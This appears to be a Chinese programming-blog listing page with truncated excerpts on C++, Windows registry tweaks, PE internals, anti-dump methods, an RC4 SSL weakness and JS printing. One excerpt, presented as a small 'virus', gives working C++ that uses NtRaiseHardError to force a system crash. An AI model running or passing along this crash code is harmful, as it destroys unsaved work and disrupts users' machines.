dword

C++函数中返回引用和返回值的区别

我是研究僧i 提交于 2020-01-26 20:39:04
转载地址: https://www.cnblogs.com/JMLiu/p/7928425.html 一、主要讨论下面两个函数的区别: int& at() { return m_data_; } int at() { return m_data_; } 上面两个函数,第一个返回值是int的引用int&,第二个返回值是int,二者的区别是什么呢? 我们先用一个语句 const int& a = mymay.at(); 来分别调用一次上面两个函数,然后看汇编语言的结果。 反汇编结果: 1 #int& at() 2 #{ 3 # return m_data_; 4 #} 5 6 00BB6830 push ebp 7 00BB6831 mov ebp,esp 8 00BB6833 sub esp,0CCh 9 00BB6839 push ebx 10 00BB683A push esi 11 00BB683B push edi 12 00BB683C push ecx 13 00BB683D lea edi,[ebp-0CCh] 14 00BB6843 mov ecx,33h 15 00BB6848 mov eax,0CCCCCCCCh 16 00BB684D rep stos dword ptr es:[edi] 17 00BB684F pop ecx 18 00BB6850 mov

windows上关闭Nagle算法

£可爱£侵袭症+ 提交于 2020-01-25 18:53:48
下面的设置可以调整或禁用 nagel 算法。禁用 nagel 算法以后, 允许很小的包没有延迟立即发送。建议对某些游戏关闭 nagel 算法, 这样做对文件传输/吞吐量有负面影响。默认状态( 开启nagel )为了提高性能, 会把几个小数据包合并一起, 为了有效传输更大的数据包。虽然这提高了整体性能,并降低了TCP/ IP开销, 但可能会短暂延迟较小的数据包的传输。切记禁用 Nagle 算法可能对文件传输有一些负面影响, 只能帮助某些游戏减少延迟. 为了实现这个调整,在注册表编辑器(开始>运行> REGEDIT)找到: 此设置配置最大数量的ACKs ( Windows XP/2003/Vista/2008 ) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{NIC-id} 将有多个网卡接口有列出,例如: {1660430C-B14A-4AC2-8F83-B653E83E8297}. 找到与你 IP 地址相同的地址, 创建一个新的 DWORD 值: TcpAckFrequency=1 解释:(DWORD value, 1=disable, 2=default, 2-n=send ACKs if outstanding ACKs before timed interval

Python:kernel32.CreateProcessA()

Deadly 提交于 2020-01-25 10:14:34
我目前正在学习调试器以及它们如何停止进程。 这是我的代码: from ctypes import * WORD = c_ushort DWORD = c_ulong LPBYTE = POINTER(c_ubyte) LPTSTR = POINTER(c_char) HANDLE = c_void_p DEBUG_PROCESS = 0x00000001 CREATE_NEW_CONSOLE = 0x00000010 class STARTUPINFO(Structure): _fields_ = [ ("cb", DWORD), ("lpReserved", LPTSTR), ("lpDesktop", LPTSTR), ("lpTitle", LPTSTR), ("dwX", DWORD), ("dwY", DWORD), ("dwXSize", DWORD), ("dwYSize", DWORD), ("dwXCountChars", DWORD), ("dwYCountChars", DWORD), ("dwFillAttribute",DWORD), ("dwFlags", DWORD), ("wShowWindow", WORD), ("cbReserved2", WORD), ("lpReserved2", LPBYTE), ("hStdInput", HANDLE)

如何通过修改注册表改变系统的默认文件夹

会有一股神秘感。 提交于 2020-01-25 07:59:02
如何通过修改注册表改变系统的默认文件夹 注册表是windows的命根,里面储存着大量的系统信息,说白了就是一个庞大的数据库。如果你不懂什么是数据库,那没关系,不影响你了解注册表,不过最好对数据库有所了解。注册表里面所有的信息平时都是由windows操作系统自主管理的,也可以通过软件或手工修改。注册表里面有很多系统的重要信息,包括外设,驱动程序,软件,用户记录等等,注册表在很大程度上“指挥”电脑怎样工作。 注册表有很大的用处,功能非常强大,是windows的核心。通过修改注册表,我们可以对系统进行限制、优化,还可以对系统进行一些个性化的定制,使系统使用起来更加便利。比如我们可以通过更改注册表更改系统默认的各种文件夹,如把我的文档、各种程序、图片收藏、音乐等默认文件夹改到其它盘,以节省系统盘的空间。也可以把桌面、收藏夹等用户文档更至非系统盘,再次重装时只要直接对系统盘进行安装,而不用担心丟失数据。 注册表修改快速入门 根据本人经验,修改注册表有三种方法,归纳如下: 在这里提醒大家一句,如果你没有把握,切记在修改之前,一定要备份注册表。 一、用windows的注册表修改器--regedit.exe 方法是在windows的左下角开始菜单里,点击运行,然后键入regedit,回车即可。你可以在打开的修改器里查找所需要修改的注册表修改项。比如要禁止“开始”菜单里的查找功能

PE文件结构-导入表详解

吃可爱长大的小学妹 提交于 2020-01-25 07:37:43
当PE文件运行时,PE文件将被系统加载进入内存中,此时Windows加载器会定位所有的导入的函数或者将定位到的内容填写到可执行文件的某个位置供使用,这个定位是需要借助于可执行文件的导入表来实现的。导入表中存放了所使用的DLL模块名称及导入函数的名称或者函数序列。 在PE文件中定位到PE头部的可选头的位置,可选头IMAGE_OPTIONAL_HEADER中最后一个成员: IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; IMAGE_DATA_DIRECTORY的结构如下: typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; //该目录的虚拟地址 DWORD Size; //该目录的大小 } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; 最后一个成员为数组,数组中不同的索引值对应不同的数据目录 所以定位到数据目录中的第二个目录,该目录包含导入表的相对虚拟地址,根据相对于基地址的偏移量找到导入表的首地址,导入表是一个 IMAGE_IMPORT_DESCRIPTOR类型的数组,被导入的每一个DLL都对应数组中的一个IMAGE_IMPORT_DESCRIPTOR结构体

脱壳之DUMP数据的原理以及反Dump的方法

我们两清 提交于 2020-01-25 02:07:29
DUMP数据的原理 常见的Dump的软件有LoadPE、PETools等,这类工具在进行Dump数据的时候采用的主要的方式是利用Moudle32Next来获取将要Dump的进程的基本信息。Moudle32Next的原型如下: BOOL Moudle32Next ( HANDLE hSnapshot , LPMODULEENTRY32 lpme ) /*参数具体如下: hSnapshot:之前调用的CreateToolhelp32Snapshot函数返回的快照 lpme 指向MODULEENTRY32结构的指针*/ MODULEENTRY32结构的定义如下: typedef struct tagMODULEENTRY32 { DWORD dwSize ; DWORD th32ModuleID ; DWORD th32ProcessID ; DWORD GlblcntUsage ; DWORD ProccntUsage ; BYTE * modBaseAddr ; DWORD modBaseSize ; HMODULE hModule ; char szModule [ MAX_MODULE_NAME32 + 1 ] ; char szExePath [ MAX_PATH ] ; } MODULEENTRY32 ;

C++ const总结

不问归期 提交于 2020-01-22 05:52:38
编程中是否遇到这样情况? (基本内容来源于C++ Prime) 1、用一个变量表示缓冲区的大小。当我们觉得不合适时,直接改变变量值即可,可以很方便调整缓冲区大小 2、但要警惕程序不小心改变了这个值 OK,遇到这样情况,使用const修饰符即可。 言简意赅,总结一下。 首先上目录: 1、const对象必须初始化。 2、默认情况下,cosnt对象只在文件内有效 3、const的引用 4、const与指针 5、 顶层const 和 底层const 6、C++常量折叠 7、const函数 8、const成员变量 1、const对象必须初始化。 因为const对象一旦创建,就不能改变了。 2、默认情况下,cosnt对象只在文件内有效 下面论述一下const对象和普通对象的区别。 (转载于http://blog.csdn.net/yipiantiandi/article/details/5822564) (const对象默认作用域为:文件作用域) (普通变量默认作用域:整个程序) 对于一般的对象 如 int a=9;;我们知道它的作用域是整个程序的,在1.cpp和2.cpp中包含同一个定义了int a=9;的头文件,因为int a=9;作用域是整个程序,所以会产生错误。 那为什么 const int a=9;不会产生错误呢。 原因就是const int a=9;的默认作用范围是文件作用域的。即

主机漏洞-SSL/TLS 受诫礼(BAR-MITZVAH)***漏洞(CVE-2015-2808)【原

↘锁芯ラ 提交于 2020-01-22 01:46:09
一、漏洞分析 事件起因 2015年3月26日,国外数据安全公司Imperva的研究员Itsik Mantin在BLACK HAT ASIA 2015发表论文《Attacking SSL when using RC4》阐述了利用存在了13年之久的RC4漏洞——不变性弱密钥(《Weakness in the Key Scheduling Algorithm of RC4》,FMS 发表于2001年)进行的***,并命名为“受戒礼”***(Bar Mitzvah Attack)。 直到2015年3月,还有约30%的网络通信是由RC4进行保护的。通过“受戒礼”***,***者可以在特定环境下只通过嗅探监听就可以还原采用RC4保护的加密信息中的纯文本,导致账户、密码、信用卡信息等重要敏感信息暴露,并且可以通过中间人(Man-in-the-middle)进行会话劫持。 ***方法和模式 ***者嗅探监听大量的SSL链接,可以判断第一个加密消息包含SSL的完成消息和HTTP请求,都是具有可预测的信息的。然后等待一个不变性弱密钥的链接到来,当获取到一个弱密钥链接时候就可以提取出LBS。当弱密钥使用的时候,明文和密钥会进行异或,***者可以看到生成的密文模式。 ***者同样也进行DNS投毒,将所有的链接链接到一个恶意的主机,主机进行中间人***,能够有效地进行大量用户的嗅探监听和会话劫持。

JS实现浏览器打印、打印预览

故事扮演 提交于 2020-01-21 22:09:58
1.JS实现打印的方式 方式一:window.print() window.print();会弹出打印对话框,打印的是window.document.body.innerHTML中的内容,下面是从网上摘到的一个局部打印的例子,该例子的不足是打印会修改页面的内容。 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>局部打印案例</title> <script type="text/javascript"> function doPrint() { if (confirm('确定打印吗?')){ try{ print.portrait = false ;//横向打印 }catch(e){ //alert("不支持此方法"); } bdhtml=window.document.body.innerHTML; sprnstr="<!--startprint-->"; eprnstr="<!--endprint-->"; prnhtml=bdhtml.substr(bdhtml.indexOf(sprnstr)+17); prnhtml=prnhtml.substring(0,prnhtml.indexOf(eprnstr));

苦小帕帕:教你们一个快速让电脑关机重启的C++小病毒:

怎甘沉沦 提交于 2020-01-21 15:49:19
二话不说,先上代码: # include <Windows.h> int WINAPI WinMain ( HINSTANCE hInstance , HINSTANCE hPrevInstance , LPSTR ipCmdLine , int nCmdShow ) { HMODULE ntdll = LoadLibrary ( "ntdll.dll" ) ; FARPROC RtlAdjPriv = GetProcAddress ( ntdll , "RtlAdjustPrivilege" ) ; FARPROC NtRaiseHardErr = GetProcAddress ( ntdll , "NtRaiseHardError" ) ; unsigned char ErrKill ; long unsigned int HDErr ; ( ( void ( * ) ( DWORD , DWORD , BOOLEAN , LPBYTE ) ) RtlAdjPriv ) ( 0x13 , true , false , & ErrKill ) ; ( ( void ( * ) ( DWORD , DWORD , DWORD , DWORD , DWORD , LPDWORD ) ) NtRaiseHardErr ) ( 0xc0000233 , 0 , 0 , 0 , 6 , &